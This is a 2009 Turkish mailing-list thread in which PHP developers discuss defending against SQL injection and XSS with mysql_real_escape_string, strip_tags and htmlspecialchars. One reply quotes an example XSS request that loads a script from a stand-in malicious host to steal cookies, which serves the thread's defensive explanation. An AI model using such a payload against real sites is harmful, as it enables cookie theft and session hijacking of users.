[Linux-programlama] Re: mysql_real_escape_string vestriptagsyeterli mi?

---------

[Linux-programlama] Re: mysql_real_escape_string vestriptagsyeterli mi?

From: Nuri Akman <nuri.akman_at_hazine.gov.tr>
Date: Wed, 14 Jan 2009 09:53:39 +0200
Message-ID: <496D9A03.5050404@hazine.gov.tr>

Çok teşekkür ederim...

Mehmet Gürevin yazmış:
> Merhaba,
>
> htmlspecialchars fonksiyonunda karakter setini belirleyen bir
> parametre var. Kullanmış olduğun karakter kodlamasına göre
> aşağıdakilerden birini seçebilirsin.
>
> UTF-8'de küçük ı büyük i sorunu yaşayabilirsin.
>
> htmlspecialchars('<script>iİşŞğĞüÜçÇöÖıI</script>', ENT_COMPAT, 'UTF-8');
> htmlspecialchars('<script>iİşŞğĞüÜçÇöÖıI</script>', ENT_COMPAT, 'ISO-8859-9');
>
> Veya basitçe;
>
> function xss($par){
> return strtr($par, array(
> '&' => '&amp;',
> '"' => '&quot;',
> "'" => '&#039;',
> '<' => '&lt;',
> '>' => '&gt;'
> ));
> }
>
> şeklinde bir fonksiyon yazabilirsin. Zaten htmlspecialchars'ında
> yaptığı farklı birşey değil.
>
> Kolay gelsin...
>
> 2009/1/14 Nuri Akman <nuri.akman_at_hazine.gov.tr>:
>
>> Merhaba Mehmet Bey,
>>
>> Daha önce htmlspecialchars kullanmış ve türkçe karakterlerde sorun
>> yaşamıştım. Bu nedenle strip_tags komutunu kullanmaya başladım. Sizin
>> tecrübelerinize göre xss'den korunma için siz hangisi dersiniz?
>>
>> Selamlar...
>> Nuri AKMAN
>>
>>
>> Mehmet Gürevin yazmış:
>>
>> Merhaba,
>>
>> SQL için diğer arkadaşların tavsiyeleri sanırım yeterli. Ancak ekrana
>> bastırmaktan bahsettiğine göre xss içinde kendini koruman gerekir.
>>
>> Misal;
>>
>> http://www.site.com/?parametre=<script
>> src="http://www.zararli.com/xss.js"></script>
>>
>> Gibi bir istekte xss.js dosyasını browser execute eder ve cookiler
>> dahil browser tarafında js'nin yetkisi dahilinde tüm bilgiler
>> çalınabilir ve işlem yaptırılabilir. Mesela sayfanın bir bölgesine
>> reklam bile eklenebilir.
>>
>> Gelen parametreyi ekrana bastıracağın sırada htmlspecialchars
>> fonksiyonu ile ekrana bastırırsan basitçe bundan korunmuş olursun.
>>
>> Örnek;
>>
>> $par = mysql_real_escape_string($_GET['parametre']);
>> $sql = "SELECT * FROM table WHERE name='$par'";
>> echo(htmlspecialchars($par));
>>
>> Kolay gelsin...
>>
>> 2009/1/11 Nuri AKMAN <nuriakman_at_gmail.com>:
>>
>>
>> Arkadaşlar,
>>
>> $_POST veya $_GET ile aldığım bir parametreyi SQL'de kullanmam ve ekrana
>> yazdırmam gerekiyor.
>> Aşağıdaki kadar işlem hack yememek için sizce yeterli olur mu?
>>
>>
>> $_GET['bolumadi'] = striptags($_GET['bolumadi']);
>> echo $_GET['bolumadi'];
>> $SQL = sprintf("select * from xxx where yyy = '%s' order by 1",
>> mysql_real_escape_string( $_GET['bolumadi'] ));
>>
>> Selamlar,
>> Nuri AKMAN
>>
>> _______________________________________________
>> Linux-programlama mailing list
>> Linux-programlama_at_liste.linux.org.tr
>> http://liste.linux.org.tr/mailman/listinfo/linux-programlama
>>
>>
>>
>>
>> _______________________________________________
>> Linux-programlama mailing list
>> Linux-programlama_at_liste.linux.org.tr
>> http://liste.linux.org.tr/mailman/listinfo/linux-programlama
>>
>>
>>
>> _______________________________________________
>> Linux-programlama mailing list
>> Linux-programlama_at_liste.linux.org.tr
>> http://liste.linux.org.tr/mailman/listinfo/linux-programlama
>>
>>
>>
> _______________________________________________
> Linux-programlama mailing list
> Linux-programlama_at_liste.linux.org.tr
> http://liste.linux.org.tr/mailman/listinfo/linux-programlama
>
>

_______________________________________________
Linux-programlama mailing list
Linux-programlama_at_liste.linux.org.tr
http://liste.linux.org.tr/mailman/listinfo/linux-programlama
Received on Wed 14 Jan 2009 - 08:49:33 EET

---------

Bu arsiv hypermail 2.2.0 tarafindan uretilmistir.